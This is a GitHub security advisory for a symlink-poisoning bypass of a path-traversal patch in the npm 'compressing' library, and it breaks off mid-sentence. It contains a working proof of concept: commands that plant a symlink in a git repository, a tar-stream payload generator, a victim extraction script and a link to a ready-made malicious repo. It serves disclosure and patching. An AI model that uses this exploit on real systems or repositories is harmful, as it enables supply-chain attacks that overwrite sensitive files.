GitHub Advisoryadvisory · npm
GHSA-4c3q-x735-j3r5 Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing
HIGH
Official page ↗
- Aliases
- CVE-2026-40931
- Ecosystem
- npm
- Packages
- compressing
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-59
- Reviewed
- 2026-04-17
Affected packages
• npm compressing: >= 2.0.0, < 2.1.1 → fixed in 2.1.1
• npm compressing: < 1.10.5 → fixed in 1.10.5
Description
1. Executive Summary
This report documents a critical security research finding in the `compressing` npm package (specifically tested on the latest v2.1.0). The core vulnerability is a Partial Fix Bypass of CVE-2026-24884.
The current patch relies on a purely logical string validation within the `isPathWithinParent` utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).
Key Findings:
• Vulnerable Component: `lib/utils.js` -> `isPathWithinParent()`
• Flaw Type: Incomplete validation (lack of recursive `lstat` checks).
• Primary Attack Vector: Supply Chain via Git Clone The attack requires zero victim interaction beyond standard developer workflow (`git clone` + `node app.js`). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.
• Result: Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.
2. Deep-Dive: Technical Root Cause Analysis
The vulnerability exists because of a fundamental disconnect between how the library validates a path and how the Operating System executes a write to that path.
• 1. Logical Abstraction (The "String" World)
The developer uses `path.resolve(childPath)` to sanitize input. In Node.js, `path.resolve` is a literal string manipulator. It calculates an absolute path by processing `..` and `.` segments relative to each other.
• The Limitation: `path.resolve` does NOT look at the disk. It does not know if a folder named `config` is a real folder or a symbolic link.
• The Result: If the extraction target is `/app/out` and the entry is c`onfig/passwd`, `path.resolve` returns `/app/out/config/passwd`. Since this string starts with `/app/out/`, the security check returns TRUE.
• 2. Physical Reality (The "Filesystem" World)
When the library proceeds to write the file using `fs.writeFile('/app/out/config/passwd', data)`, the execution is handed over to the Operating System's filesystem kernel.
• The Redirection: If the attacker has pre-created a symbolic link on the disk at `/app/out/config` pointing to `/etc`, the OS kernel sees the write request and follows the link.
• The Divergence: The OS resolves the path to `/etc/passwd`. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area.
• 3. Visual Logic Flow
• 4. Comparison with Industry Standards (`node-tar`)
A secure implementation (like `node-tar`) uses an "Atomic Check" strategy. Instead of trusting a string path, it iterates through every directory segment and calls `fs.lstatSync()`. If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. `compressing` lacks this critical recursive verification step.
• 5. Git Clone as a Delivery Mechanism: Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is "pre-planted" automatically by git itself, removing any prerequisite of prior system access.
3. Comprehensive Attack Vector & Proof of Concept
PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:
• No social engineering required beyond a standard git clone.
• The symlink is "pre-planted" by Git itself, removing the need for prior system access.
• Victim's workflow remains indistinguishable from legitimate activity.
Step 1: Environment Preparation (Victim System)
>TIP
Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a `MODULE_NOT_FOUND` error for `tar-stream` or `compressing`, `run: npm install `[email protected] tar-stream` in your current working directory.
Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.
```
Workspace setup
mkdir -p ~/poc-workspace
cd ~/poc-workspace
1. Create a fake sensitive file
mkdir -p /tmp/fake_root/etc
echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd
2. Install latest vulnerable library
npm install [email protected] tar-stream
```
Step 2: Attacker Side (Repo & Payload)
2.1 Create the poisoned GitHub Repository
1. Create a repo named `compressing_poc_test` on GitHub.
2. On your local machine, setup the malicious content:
```
mkdir compressing_poc_test
cd compressing_poc_test
git init
CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake_root/etc/passwd config_file
Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing_poc_test.git
```
2.2 Generate the Malicious Payload
Create a script `gen_payload.js` inside the parent folder (`~/poc-workspace`) to generate the exploit file:
```
const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');
```
Run the script to create the payload:
```
node gen_payload.js
```
_This will create a payload.tar file in your current directory._
2.3 Push Bait & Payload to GitHub
Now, move the generated payload into your repo folder and push everything to GitHub:
```
Move the payload into the repo folder
mv ../payload.tar .
Add all files (config_file symlink and payload.tar)
git add .
git commit -m "Add project updates and resource assets"
git push -u origin main
```
> For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git
Step 3: Victim Side (The Compromise)
The victim clones the repo and runs an application that extracts the included `payload.tar`.
```
1. Simulate a developer cloning the repo
cd ~/poc-workspace
In a real attack, the victim clones from your GitHub URL
git clone https://github.com/USERNAME/compressing_poc_test.git victim_app
cd victim_app
2. Create the Trigger script (victim_app.js)
cat victim_app.js
const compressing = require('compressing');
async function extractUpdate() {
console.log('--- Victim: Extracting Update Package ---');
try {
// This triggers the bypass because 'config_file' already exists as a symlink
await compressing.tar.uncompress('./payload.tar', './');
console.log('[+] Update Successful!');
} catch (err) {
console.error('[-] Error:', err);
}
}
extractUpdate();
EOF
3. VERIFY THE OVERWRITE
echo "--- Before Exploit ---"
cat /tmp/fake_root/etc/passwd
4. Run the victim_app.js
node victim_app.js
5. After Exploit Run
echo "--- After Exploit ---"
cat /tmp/fake_root/etc/passwd
```
Why this bypass works
• The Library's Logic: `compressing` uses `path.resolve` on entry names and compares them string-wise with the destination directory.
• The Gap: Because `path.resolve` does not check if intermediate directories are symlinks on disk, it treats `config_file` (the symlink) as a norma…
Related
Alias · CVE (1)
- CVE-2026-40931 Compressing is a compressing and uncompressing lib for node. vulnerability
Weakness · CWE (1)
- CWE-59 Improper Link Resolution Before File Access weakness